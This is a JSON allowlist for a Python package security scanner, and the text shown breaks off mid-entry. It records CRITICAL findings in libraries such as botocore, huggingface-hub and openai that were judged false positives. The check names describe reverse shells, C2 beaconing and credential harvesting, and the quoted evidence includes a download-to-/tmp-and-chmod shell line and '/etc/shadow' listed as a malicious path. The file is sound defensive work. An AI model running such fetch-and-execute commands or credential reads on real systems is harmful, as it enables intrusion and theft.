{ "_comment": "scan_packages.py allowlist (reviewed). Each entry is a CRITICAL/HIGH finding manually judged benign. Matched on (package, package-relative file, check, evidence_hash); evidence_hash is over the matched code with L: markers stripped, so version bumps and line shifts do not reopen an entry but changed code does. severity and evidence are for review only. Regenerate with --write-baseline AFTER reviewing every line.", "version": 1, "entries": [ { "package": "botocore", "file": "botocore/credentials.py", "check": "base64 decode + subprocess execution (staged payload)", "severity": "CRITICAL", "evidence": "Base64: L2714: return EC.new_key_from_der_data(base64.b64decode(contents))\nSubprocess: L1072: def __init__(self, profile_name, load_config, popen=subprocess.Popen):", "evidence_hash": "1008baa37a26866b477be20db0b3e6ce451e22ff26ae1ed43e9a0a15b71c6be6" }, { "package": "botocore", "file": "botocore/httpsession.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", "evidence": "Env: L186: sslkeylogfile = os.environ.get(\"SSLKEYLOGFILE\")\nNetwork: L477: urllib_response = conn.urlopen(\nL478: method=request.method,\nL479: url=request_target,\nL480: body=request.body,\nL481: headers=request.headers,\nL482: retries=Retry(False),\nL483: assert_same_host=False,\nL484: preload_content=False,\nL485: decode_content=False,\nL486: chunked=self._chunked(request.headers),\nL487: )", "evidence_hash": "84d1912211c26294d7648176ae495b21b906a262de767c7238c2dba5d4be852f" }, { "package": "botocore", "file": "botocore/utils.py", "check": "Accesses cloud metadata/IMDS AND makes network calls", "severity": "CRITICAL", "evidence": "IMDS: L100: METADATA_BASE_URL = 'http://169.254.169.254/' | L560: error_msg=\"Unable to retrieve token for use in IMDSv2 call and IMDSv1 has been disabled\" | L3072: IP_ADDRESS = '169.254.170.2' | L3075: '169.254.170.23',\nNetwork: L32: from urllib.request import getproxies, proxy_bypass", "evidence_hash": "a827f57c1d53a4a6b76728785cf57d2396750ae0163a6abdf9617268146ccf66" }, { "package": "botocore", "file": "botocore/utils.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", "evidence": "Env: L417: env = os.environ.copy()\nNetwork: L32: from urllib.request import getproxies, proxy_bypass", "evidence_hash": "3554fe7787227ea6fe47adfe18dcf531e0f01bd7f02ac4d56e2b7587fa2b6c96" }, { "package": "botocore", "file": "botocore/utils.py", "check": "Reads credential paths AND makes network calls", "severity": "CRITICAL", "evidence": "Creds: L3551: CACHE_DIR = os.path.expanduser(os.path.join('~', '.aws', 'boto', 'cache')) | L3719: return os.path.expanduser(os.path.join('~', '.aws', 'login', 'cache'))\nNetwork: L32: from urllib.request import getproxies, proxy_bypass", "evidence_hash": "2d691bc373ab872aad23c744104596ba6d0d9f3b35aa101c7edbff4429b174c1" }, { "package": "click", "file": "click/testing.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", "evidence": "L103: os.dup2(self._tmpfile.fileno(), self._targetfd) | L107: os.dup2(self.saved_fd, self._targetfd)", "evidence_hash": "7cfc260cd91d7ee7e65aaf0551f115d03593422b6dfcb3761fd74d18affec2e1" }, { "package": "datasets", "file": "datasets/utils/file_utils.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", "evidence": "L441: while True: sha256:ce92e38c17c524815e1f9055be77235028c1e68e41b45cbfe9c8f1b867a205da", "evidence_hash": "cb36281d28a975d101121c0702ee05eeee470879520d39a8be552129333f514d" }, { "package": "datasets", "file": "datasets/utils/file_utils.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", "evidence": "L443: while True: sha256:feba37d77721aa658e1786d2e4b67de76fefe1ceeb3ce8529d361c5241778eea", "evidence_hash": "2e458563dec752d0a9896c9685d368d9906867110db315ab751e3eb6ec63f51c" }, { "package": "diffusers", "file": "diffusers/utils/import_utils.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", "evidence": "L1052: return importlib.import_module(\".\" + module_name, self.__name__)", "evidence_hash": "e584ecfdb097d9482bb19cd3992813bc1a119cfd4c40af14748bafe22900d91e" }, { "package": "diffusers", "file": "diffusers/utils/testing_utils.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", "evidence": "Env: L236: value = os.environ[key]\nNetwork: L691: response = requests.get(arry, timeout=DIFFUSERS_REQUEST_TIMEOUT) | L712: response = requests.get(url, timeout=DIFFUSERS_REQUEST_TIMEOUT) | L731: image = PIL.Image.open(requests.get(image, stream=True, timeout=DIFFUSERS_REQUEST_TIMEOUT).raw)", "evidence_hash": "671190a6106c6ee9674e5e5942dc0940e1d2f8c78d5faf674413c2345b783fd9" }, { "package": "dill", "file": "dill/_objects.py", "check": "Creates archive with sensitive data AND makes network calls", "severity": "CRITICAL", "evidence": "Archive: L317: a['TarFileType'] = tarfile.open(fileobj=_fileW,mode='w')\nNetwork: L330: x['SocketType'] = _socket = socket.socket()", "evidence_hash": "894862e547cf91b90cd6e4b495db3fb05b7490ef0d63de7e795a7e3d9447d850" }, { "package": "fastapi", "file": "fastapi/routing.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", "evidence": "L587: while True: sha256:06c2c7f15d73bf192e5e3272c5ff5fcaeff7f6774fef5f4eca6ef473ae50e2b3", "evidence_hash": "57acd497f404c203e4450d0580ad85aa8a33406e8d64ad06fbac6cf47d97b24d" }, { "package": "fastapi", "file": "fastapi/routing.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", "evidence": "L592: while True: sha256:84283c09277ded3296998b2a6a838744457b606829cf5ab5d0da6f222ff020a0", "evidence_hash": "a7295004315e26a8f3c64fb837521e9fdd7268219bb43e000fb0236ab0259223" }, { "package": "fastmcp-slim", "file": "fastmcp/cli/apps_dev.py", "check": "Creates archive with sensitive data AND makes network calls", "severity": "CRITICAL", "evidence": "Archive: L1353: with tarfile.open(fileobj=io.BytesIO(data), mode=\"r:gz\") as tar:\nNetwork: L1304: with httpx.Client(timeout=30.0) as client: | L1318: with httpx.Client(timeout=30.0) as client: | L1348: with httpx.Client(timeout=30.0) as client: | L1549: client = httpx.AsyncClient(\nL1550: timeout=httpx.Timeout(60.0, read=None), trust_env=False\nL1551: ) | L1713: async with httpx.AsyncClient(trust_env=False) as client: | L1781: with socket.socket(family, socket.SOCK_STREAM) as s:", "evidence_hash": "73a7a72013e9f800627ea07e6dbc3beeb8c905a6a5480c8fd896f0063173d25c" }, { "package": "fonttools", "file": "fontTools/diff/__init__.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", "evidence": "L202: os.dup2(devnull, sys.stdout.fileno())", "evidence_hash": "6ff12ba150358aa0b2756d60df29a7ac9c08e60d0a1ad42157fd30af6e7d50ee" }, { "package": "fonttools", "file": "fontTools/ttLib/ttFont.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", "evidence": "L1420: __import__(\"fontTools.ttLib.tables.\" + pyTag)", "evidence_hash": "512ecbb7539ddfd5296f8ea2d132ef4000a71033fd444d8a7539f6936dc9ad01" }, { "package": "gguf", "file": "gguf/utility.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", "evidence": "Env: L268: if os.environ.get(\"HF_TOKEN\"): | L269: headers[\"Authorization\"] = f\"Bearer {os.environ['HF_TOKEN']}\"\nNetwork: L236: response = requests.get(url, allow_redirects=True, headers=headers) | L258: response = requests.head(url, allow_redirects=True, headers=headers)", "evidence_hash": "231235fe72f6c47331494b67dd0cba2bdb7b75b901f4fe59b434ce9a1ffbd50e" }, { "package": "huggingface-hub", "file": "huggingface_hub/_sandbox.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", "evidence": "L1179: while True: sha256:33ceddf9e42aae207e891e97808c518e92a0b27ab60e4326256717bfb25a3a38", "evidence_hash": "802fd41d8bb17bf425e99d128c0351c820103a5efb74690a4086e542a71437b8" }, { "package": "huggingface-hub", "file": "huggingface_hub/_sandbox.py", "check": "Writes to /tmp and executes (staged dropper)", "severity": "CRITICAL", "evidence": "L83: d=/tmp/.sbx-server\nL84: if command -v wget >/dev/null 2>&1; then wget -q --header \"Authorization: Bearer $SBX_DL_TOKEN\" -O \"$d\" \"$SBX_SERVER_URL\"\nL85: elif command -v curl >/dev/null 2>&1; then curl -fsSL -H \"Authorization: Bearer $SBX_DL_TOKEN\" -o \"$d\" \"$SBX_SERVER_URL\"\nL86: else cp \"$SBX_SERVER_MOUNT/sbx-server\" \"$d\"; fi\nL87: chmod +x \"$d\"", "evidence_hash": "6908a3fe328fa94ee22a119998d6ad07cfa1ba4efa2628acf240f4204fd76e22" }, { "package": "huggingface-hub", "file": "huggingface_hub/hf_api.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", "evidence": "L4677: while True: sha256:04afb38843e4125d1476f3f04bdad0edf1f63f8d75ad49a713b13e4bc68612fb", "evidence_hash": "18877a2502c862b46a5d7e33fa7c39ab4ef32da7e1b07f596fd455f4376770c6" }, { "package": "huggingface-hub", "file": "huggingface_hub/hf_api.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", "evidence": "L3746: while True: sha256:0c73ed1a7447120b112c063b14e720c6695bc11d00eb6b912cd0f10dc3e29b31", "evidence_hash": "22f50b930e44146c5350bb99e6e6ebb09feea9bf1e899e407bedc4ffaf06721b" }, { "package": "huggingface-hub", "file": "huggingface_hub/hf_api.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", "evidence": "Env: L10852: o.addheaders = [(\"Authorization\", \"Bearer \" + os.environ[\"UV_SCRIPT_HF_TOKEN\"])]\nNetwork: L6504: resp = requests.post(path, headers=headers, json=body) | L10848: import urllib.request | L10851: o = urllib.request.build_opener()", "evidence_hash": "7b22edf0aac33ec94f0fd986ace3e63e7ac7554ba4702dbb6fa099646958f5f4" }, { "package": "huggingface-hub", "file": "huggingface_hub/utils/_http.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", "evidence": "L462: while True: sha256:c75d1ee228cf7703a8c28551d649395a1f89f69a3aba69413f5bbcbd10c31958", "evidence_hash": "d4d5f83fed39b87898cf776d5dad0bf1a6388a932f5fb7997d1070b50e46213e" }, { "package": "huggingface-hub", "file": "huggingface_hub/utils/_http.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", "evidence": "L298: while True: sha256:6b8e5e569594caf7c4eca6137646dae471a7c3aae7294096cf876f30b5f90306", "evidence_hash": "c066cc27bce31ee7b6ce07411ee7a7d9ecfbf3aafc8848f6641fabfe522a7703" }, { "package": "huggingface-hub", "file": "huggingface_hub/utils/_http.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", "evidence": "L461: while True: sha256:0c9641548adea74be4a8b0e86e8b75cc937a2b0f833b57dfa3d30d3e24d2537a", "evidence_hash": "70d25136ca2a91d192bd816706db7113a2ad0f96bc1b2381d0d4747a5ff1925d" }, { "package": "huggingface-hub", "file": "huggingface_hub/_sandbox.py", "check": "openssl encryption + network/key material (encrypted exfiltration)", "severity": "CRITICAL", "evidence": "OpenSSL: L137: actual=$(openssl dgst -sha256 -r \"$d\" | cut -d' ' -f1)\nNetwork: L650: self._client = httpx.Client(\nL651: headers={\"X-Sandbox-Token\": sandbox_token},\nL652: auth=_SandboxAuth(api),\nL653: limits=httpx.Limits(max_connections=max_connections, max_keepalive_connections=max_connections),\nL654: \nL655: \nL656: \nL657: \nL658: follow_redirects=False,\nL659: )", "evidence_hash": "434d8421cac99d2f6cb5677896be3d0ba2186866d639ae0231ef8d8390fccc74" }, { "package": "huggingface-hub", "file": "huggingface_hub/_sandbox.py", "check": "Writes to /tmp and executes (staged dropper)", "severity": "CRITICAL", "evidence": "L130: d=/tmp/.sbx-server sha256:c845d184bd7941b05696b89387cb975850ab04e8ad83091f69342b0aee775884", "evidence_hash": "8b25f31477366141a6677614c8d1dead8aa6c825ab4b80808df0106abf2d87c9" }, { "package": "huggingface-hub", "file": "huggingface_hub/_sandbox.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", "evidence": "L488: while True: sha256:0fadf46b67afdd30dacc67506e5b6058184ee6ccd5f7bea41015fac02f31d182", "evidence_hash": "e489ec51120802dadfc908790d0de1253cc56112db2d521ed57641e7869cb99e" }, { "package": "huggingface-hub", "file": "huggingface_hub/hf_api.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", "evidence": "L4825: while True: sha256:af959f660504baff077512267c946ce11a7ec5f92658c2b0b392d2f6c60d51fe", "evidence_hash": "dc1b1d4e0861e5e2b7f4d4baa462133f5060f3ca94bb9cbe741e061c472966ba" }, { "package": "ipython", "file": "IPython/terminal/pt_inputhooks/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", "evidence": "L139: mod = importlib.import_module(\"IPython.terminal.pt_inputhooks.\" + gui_mod)", "evidence_hash": "3b7a403abee4c5c817718802869e0f75f5bb4f479fba3cbed19f9cf32d926025" }, { "package": "ipython", "file": "IPython/utils/py3compat.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", "evidence": "L58: exec(compiler(f.read(), fname, \"exec\"), glob, loc)", "evidence_hash": "f8dfef823b3380dbf7f4bb697998ddecc31b4b26b03e593c0f287c419b329d17" }, { "package": "jaraco-context", "file": "jaraco/context/__init__.py", "check": "Creates archive with sensitive data AND makes network calls", "severity": "CRITICAL", "evidence": "Archive: L106: with tarfile.open(fileobj=req, mode='r|*') as tf:\nNetwork: L15: import urllib.request | L105: req = urllib.request.urlopen(url)", "evidence_hash": "4b7365cdf9279e002a67e13669a1596e5036a3d33eb88152236ff30d8093672c" }, { "package": "matplotlib", "file": "matplotlib/backends/backend_webagg.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", "evidence": "L56: if not webbrowser.open(url): sha256:c92ecd0cb3aa00166f26aa2017eb2201cc6050d58de2654ada01a1d392a5c97c", "evidence_hash": "bf56dfffad9c8638feab6a8bd7d74da6abc78ff406663e97ff5ac18f30c2f583" }, { "package": "multiprocess", "file": "multiprocess/forkserver.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", "evidence": "L5: import socket sha256:915068303029fa5806199f256fb74504c65f253f9aee8ea23d8e384bb772b1c7", "evidence_hash": "30be130f165f418dfd37b144c5ae333de184b95f828ab8bd4010a67b84a5f814" }, { "package": "multiprocess", "file": "multiprocess/tests/__init__.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", "evidence": "L3355: os.dup2(conn.fileno(), i) | L3387: \"test needs os.dup2()\") | L3405: os.dup2(fd, newfd) | L19: import socket sha256:26a745abdc7e89da28ab943394234d8ccb415e805477c3cc1f7d4766341a4c4c", "evidence_hash": "a6b9bb85e9bb6682ab0dea4f95fd9266e8802f118c76d86dd87f7ab5864872cf" }, { "package": "multiprocess", "file": "multiprocess/tests/__init__.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", "evidence": "L3521: os.dup2(conn.fileno(), i) | L3553: \"test needs os.dup2()\") | L3571: os.dup2(fd, newfd) | L20: import socket sha256:07d2933301c0dbeeb6e42381687827d8dd7cfd7471986c559ca64283d5ae6e24", "evidence_hash": "db1f4ca69865ec3911d7450fe11d212b817139deda21cd7a4ee32d547a8dc452" }, { "package": "numba", "file": "numba/pycc/decorators.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", "evidence": "L44: exec(compile(fin.read(), ifile, 'exec'))", "evidence_hash": "9bfde86a0af7c9c81acd5334ebab3ba97c33d22c501295114fde0087b0be3f05" }, { "package": "numba", "file": "numba/tests/support.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", "evidence": "L1016: os.dup2(w, fd) | L1021: os.dup2(save, fd)", "evidence_hash": "fea7aa03d48bf0f4386302fa444984c4f5dfc772cfec3f1df199fd33a52eec10" }, { "package": "numba", "file": "numba/tests/test_codegen.py", "check": "base64 decode + subprocess execution (staged payload)", "severity": "CRITICAL", "evidence": "Base64: L127: state = pickle.loads(base64.b64decode(sys.argv[1]))\nSubprocess: L130: subprocess.check_call([sys.executable, '-c', code, arg.decode()])", "evidence_hash": "e2e6436a0849b687046a00576836b0f5f048ecf6118f9d8e6d5558fefd0aa488" }, { "package": "numpy", "file": "numpy/f2py/capi_maps.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", "evidence": "L159: d = eval(f.read().lower(), {}, {})", "evidence_hash": "70e3d1f82997b292e97bd3f8c3804181f575a7dce74cb2fa8e9fb1f0a119ab2f" }, { "package": "numpy", "file": "numpy/lib/tests/test__datasource.py", "check": "Enumerates filesystem AND makes network calls", "severity": "CRITICAL", "evidence": "FS: L45: malicious_files = ['/etc/shadow', '../../shadow',\nL46: '..\\\\system.dat', 'c:\\\\windows\\\\system.dat']\nNetwork: L2: import urllib.request as urllib_request", "evidence_hash": "9aa30dfee01a520f20ab77de468feb0558bd9d95c6dd509146ffc48c8d4dc469" }, { "package": "openai", "file": "openai/_base_client.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", "evidence": "L274: while True: sha256:90a38e5c1e26893c7c273354143612640e9a9c0f079d3e2b60612d79f24e80a6", "evidence_hash": "1022e8e8649436ec64a98a9d9141d085452c49549fd2157b0278fc369a83ac66" }, { "package": "openai", "file": "openai/resources/beta/responses/responses.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", "evidence": "L4000: while True: sha256:f8ab538118daba9ec06e27399dbdc90a4521c3390e6a47a6348a1f180a83effd", "evidence_hash": "31481ea83c687acc27144d72d3832d4fb98dd1c79fb5e0ddd85080de95997b9f" }, { "package": "openai", "file": "openai/resources/beta/threads/runs/runs.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", "evidence": "L1053: while True: sha256:973bb1aeca2e17e022872dc343a1bf5d8fe33bfa59fe01e2f8fe875522db5bce", "evidence_hash": "24626e4aa53047a515ead563b42c07c43f73a2c5b82978fa59f58ffc2859e19b" }, { "package": "openai", "file": "openai/resources/realtime/realtime.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", "evidence": "L311: while True: sha256:5b63313072aae9ca28677e03426513ccf12221e4f4e0ea6c31efbe09790633b5", "evidence_hash": "05e1af469d651b51673763a7c4cdf759af9472fb627b7b470adc28cc237bd650" }, { "package": "openai", "file": "openai/resources/responses/responses.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", "evidence": "L3951: while True: sha256:d68ef896bf0743ca430cfacb9a3353da1f3b9c51c3a21b6450a07a32b55aa2ac", "evidence_hash": "160eecdd79b521bffbe8476f782b69a0724c35d1b19376a7600807165fd54f9f" }, { "package": "openai", "file": "openai/resources/vector_stores/file_batches.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", "evidence": "L347: while True: sha256:604449e8ed433290252fe3f7a48a9e1d8ce46fa148b4ef3037042cc42fdb737b", "evidence_hash": "e6c1e9bb40accffe2d597e875439bab405e51d9e53f1dad87fd276c0d4014981" }, { "package": "openai", "file": "openai/resources/vector_stores/files.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", "evidence": "L376: while True: sha256:1bf8d6ef91d4043c98982fb19e5f5685b239a855cd4ff6c11b9b19651d43e944", "evidence_hash": "8d26a3a0ab3d937e6d4f6873fa648c04afc59484122287bc96b1c022ede4065a" }, { "package": "openai", "file": "openai/resources/videos.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", "evidence": "L186: while True: sha256:e48be2f193c22eb93024339b9c04fff5dd80c8318708012432df119aef612a41", "evidence_hash": "f1764390bf5e4e55fdedc1f5ec492535f3dd4444f9fb17eb6ce9eaaa010d1a81" }, { "package": "protobuf", "file": "protobuf-3.19.6-nspkg.pth", "check": ".pth has advanced obfuscation (marshal/compile/zlib/__import__)", "severity": "CRITICAL", "evidence": "L1: import sys, types, os;has_mfs = sys.version_info > (3, 5);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('google',));importlib = has_mfs and __import__('importlib.util');has_mfs and __import sha256:233fd2c695435bb5ee9cc00f442153f9dc9901e8a352814c2d23dfd6da0fe70d", "evidence_hash": "7675d9e6d5a180ae22e00fb0ca8adde65e63adc9751bc7d5bd337238b4ba584c" }, { "package": "ptyprocess", "file": "ptyprocess/_fork_pty.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", "evidence": "L33: os.dup2(child_fd, STDIN_FILENO) | L34: os.dup2(child_fd, STDOUT_FILENO) | L35: os.dup2(child_fd, STDERR_FILENO)", "evidence_hash": "fd104d50945eb60182d81e988885ec927f3b3abc3758b78bece2cd9d65613926" }, { "package": "pyarrow", "file": "pyarrow/tests/conftest.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", "evidence": "Env: L210: env = os.environ.copy() | L241: env = os.environ.copy() | L267: env = os.environ.copy()\nNetwork: L24: import urllib.request | L203: resp = urllib.request.urlopen(f\"http://{address}/minio/health/live\")", "evidence_hash": "8819f266bbf0cb7cdd5a0a491b83b79fb5eefc132b77d2f4b080dfda8ac32514" }, { "package": "pyarrow", "file": "pyarrow/tests/test_extension_type.py", "check": "base64 decode + subprocess execution (staged payload)", "severity": "CRITICAL", "evidence": "Base64: L1065: decoded_schema = base64.b64decode(meta.metadata[b\"ARROW:schema\"])\nSubprocess: L1350: subprocess.check_call([sys.executable, 'setup.py',\nL1351: 'build_ext', '--inplace'],\nL1352: env=subprocess_env)", "evidence_hash": "83d7a4cf32639e44b3a7923c5ca68bdf5488ffccf32bc0992821e45680a145a5" }, { "package": "pyarrow", "file": "pyarrow/tests/test_flight.py", "check": "base64 decode + subprocess execution (staged payload)", "severity": "CRITICAL", "evidence": "Base64: L592: token = base64.b64decode(token) | L692: decoded = base64.b64decode(values[1])\nSubprocess: L2674: res = subprocess.run([sys.executable, \"-c\", code], env=env,\nL2675: capture_output=True)", "evidence_hash": "8b353712547a31cb704343cc04b2faa25b5cf5850c59a8f7866baeb28f6ec317" }, { "package": "pyarrow", "file": "pyarrow/tests/test_orc.py", "check": "Writes to /tmp and executes (staged dropper)", "severity": "CRITICAL", "evidence": "L154: os.environ['TZDIR'] = '/tmp/non_existent' sha256:d41f7ed866d91fe7b45dfdb557b81bb9c2a05101cf28cd7d39d8aa6faf249b00", "evidence_hash": "4570f9f31ee6a90906e1074fa1877dcf0c8e061a0b83dec089da25b61071133c" }, { "package": "pyarrow", "file": "pyarrow/tests/util.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", "evidence": "L30: import socket sha256:5a5d71dfd22906b5dc8b1514316391e05a865f2c94c20dcc96683963f48106f7", "evidence_hash": "76caefdfe4ac470f26379f05238b2dbfd62a864b8cd43e2392f228264cb1de85" }, { "package": "pyarrow", "file": "pyarrow/util.py", "check": "Creates archive with sensitive data AND makes network calls", "severity": "CRITICAL", "evidence": "Archive: L293: tarfile.open(tzdata_compressed_path).extractall(tzdata_path)\nNetwork: L198: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | L234: from urllib.request import urlopen, Request | L236: with urlopen(req) as response: | L243: with requests.get(url) as response:", "evidence_hash": "f231aaa341028cecb8fb2e183ea401dc08826facf3b18e8f733d653f6cad8d9e" }, { "package": "pygments", "file": "pygments/formatters/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", "evidence": "L103: exec(f.read(), custom_namespace)", "evidence_hash": "b767963474babbcfef5652eb7528d34dd9e17efa2aa0d2cef63d809ea4ad0f83" }, { "package": "pygments", "file": "pygments/lexers/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", "evidence": "L154: exec(f.read(), custom_namespace)", "evidence_hash": "b767963474babbcfef5652eb7528d34dd9e17efa2aa0d2cef63d809ea4ad0f83" }, { "package": "pygments", "file": "pygments/lexers/_php_builtins.py", "check": "Creates archive with sensitive data AND makes network calls", "severity": "CRITICAL", "evidence": "Archive: L3300: with tarfile.open(download[0]) as tar:\nNetwork: L3255: from urllib.request import urlretrieve", "evidence_hash": "4b893b3eb4125c9ec6bbda983f5fbddde68a89552d29113d58b3c22b1905b582" }, { "package": "pyperclip", "file": "pyperclip/__init__.py", "check": "base64 decode + subprocess execution (staged payload)", "severity": "CRITICAL", "evidence": "Base64: L488: decoded_bytes = base64.b64decode(base64_encoded)\nSubprocess: L80: return subprocess.call(['which', name],\nL81: stdout=subprocess.PIPE, stderr=subprocess.PIPE) == 0 | L100: p = subprocess.Popen(['pbcopy', 'w'],\nL101: stdin=subprocess.PIPE, close_fds=True) | L105: p = subprocess.Popen(['pbpaste', 'r'],\nL106: stdout=subprocess.PIPE, close_fds=True) | L167: p = subprocess.Popen(['xclip', '-selection', selection],\nL168: stdin=subprocess.PIPE, close_fds=True) | L175: p = subprocess.Popen(['xclip', '-selection', selection, '-o'],\nL176: stdout=subprocess.PIPE,\nL177: stderr=subprocess.PIPE,\nL178: close_fds=True) | L195: p = subprocess.Popen(['xsel', selection_flag, '-i'],\nL196: stdin=subprocess.PIPE, close_fds=True) | L203: p = subprocess.Popen(['xsel', selection_flag, '-o'],\nL204: stdout=subprocess.PIPE, close_fds=True) | L221: subprocess.check_call(args, close_fds=True) | L224: p = subprocess.Popen(args, stdin=subprocess.PIPE, close_fds=True) | L231: p = subprocess.Popen(args, stdout=subprocess.PIPE, stderr=subprocess.PIPE, close_fds=True) | L241: p = subprocess.Popen(\nL242: ['qdbus', 'org.kde.klipper', '/klipper', 'setClipboardContents',\nL243: text.encode(ENCODING)],\nL244: stdin=subprocess.PIPE, close_fds=True) | L248: p = subprocess.Popen(\nL249: ['qdbus', 'org.kde.klipper', '/klipper', 'getClipboardContents'],\nL250: stdout=subprocess.PIPE, close_fds=True) | L469: p = subprocess.Popen(['clip.exe'],\nL470: stdin=subprocess.PIPE, close_fds=True) | L477: p = subprocess.Popen(['powershell.exe', '-noprofile', '-command', ps_script],\nL478: stdout=subprocess.PIPE,\nL479: stderr=subprocess.PIPE,\nL480: close_fds=True)", "evidence_hash": "a6c17529beeffa4140f293b36de643bb48d5c4095151573e599840d22e31664f" }, { "package": "python-dateutil", "file": "dateutil/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", "evidence": "L16: return importlib.import_module(\".\" + name, __name__)", "evidence_hash": "12ffaf457296d821628b42ddf564f62a12e8aeeb615c420adf60b8045cf0319a" }, { "package": "rich", "file": "rich/ansi.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", "evidence": "L229: pty.spawn(sys.argv[1:], read)", "evidence_hash": "7aa3b73533776987582edff045267f71b62040823c62b66bd40bef2b744b3ed4" }, { "package": "rich", "file": "rich/console.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", "evidence": "L2041: os.dup2(devnull, sys.stdout.fileno())", "evidence_hash": "6ff12ba150358aa0b2756d60df29a7ac9c08e60d0a1ad42157fd30af6e7d50ee" }, { "package": "rich-rst", "file": "rich_rst/_vendor/docutils/readers/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", "evidence": "L129: module = importlib.import_module('rich_rst._vendor.docutils.readers.'+name)", "evidence_hash": "3910f6c4f0684f9ed611f0c7b0d3b3121f7fa1188186dd22c0f9f0615a137073" }, { "package": "rich-rst", "file": "rich_rst/_vendor/docutils/writers/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", "evidence": "L271: module = importlib.import_module('rich_rst._vendor.docutils.writers.'+name)", "evidence_hash": "bdc0d6a4e35580266debac3c46b0845a315af192ce8df6fcec9cf01d1aa09106" }, { "package": "scikit-learn", "file": "sklearn/datasets/_openml.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", "evidence": "L100: while True: sha256:1f05a1b4fdd843b309634f583cb5e919866ef38ec5aa0b7d8a66ac8820655594", "evidence_hash": "69597a64e5670a0f9a3c2aafc0bde4160f6170a9e2dc38f2c413cfa8d22ad193" }, { "package": "scikit-learn", "file": "sklearn/datasets/_openml.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", "evidence": "L100: while True: sha256:270363bb66980201e477f9b94886e4023f7a3d21b5ce026b7603a8c249a50c5b", "evidence_hash": "53edbe07c312d459068d38e537b5114e65685ac3d4487b0423fa4542b5df20fe" }, { "package": "scikit-learn", "file": "sklearn/externals/array_api_compat/cupy/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", "evidence": "L10: __import__(__package__ + '.linalg') | L11: __import__(__package__ + '.fft')", "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8" }, { "package": "scikit-learn", "file": "sklearn/externals/array_api_compat/dask/array/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", "evidence": "L11: __import__(__package__ + '.linalg') | L12: __import__(__package__ + '.fft')", "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8" }, { "package": "scikit-learn", "file": "sklearn/externals/array_api_compat/numpy/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", "evidence": "L22: __import__(__package__ + \".linalg\") | L24: __import__(__package__ + \".fft\")", "evidence_hash": "2b68d103ce6c59e6ee2017226c87c8c8bb43c60f8f195e75662d3da8981dd159" }, { "package": "scikit-learn", "file": "sklearn/externals/array_api_compat/torch/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", "evidence": "L19: __import__(__package__ + '.linalg') | L20: __import__(__package__ + '.fft')", "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8" }, { "package": "scikit-learn", "file": "sklearn/svm/tests/test_svm.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", "evidence": "L980: os.dup2(os.pipe()[1], 1) | L987: os.dup2(stdout, 1)", "evidence_hash": "a4b97d799d5de94c1d9a8df1cfc0f862fc64fea5c3ccd06116a37a5fcbe9f653" }, { "package": "scipy", "file": "scipy/_external/array_api_compat/cupy/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", "evidence": "L12: __import__(__package__ + '.linalg') | L13: 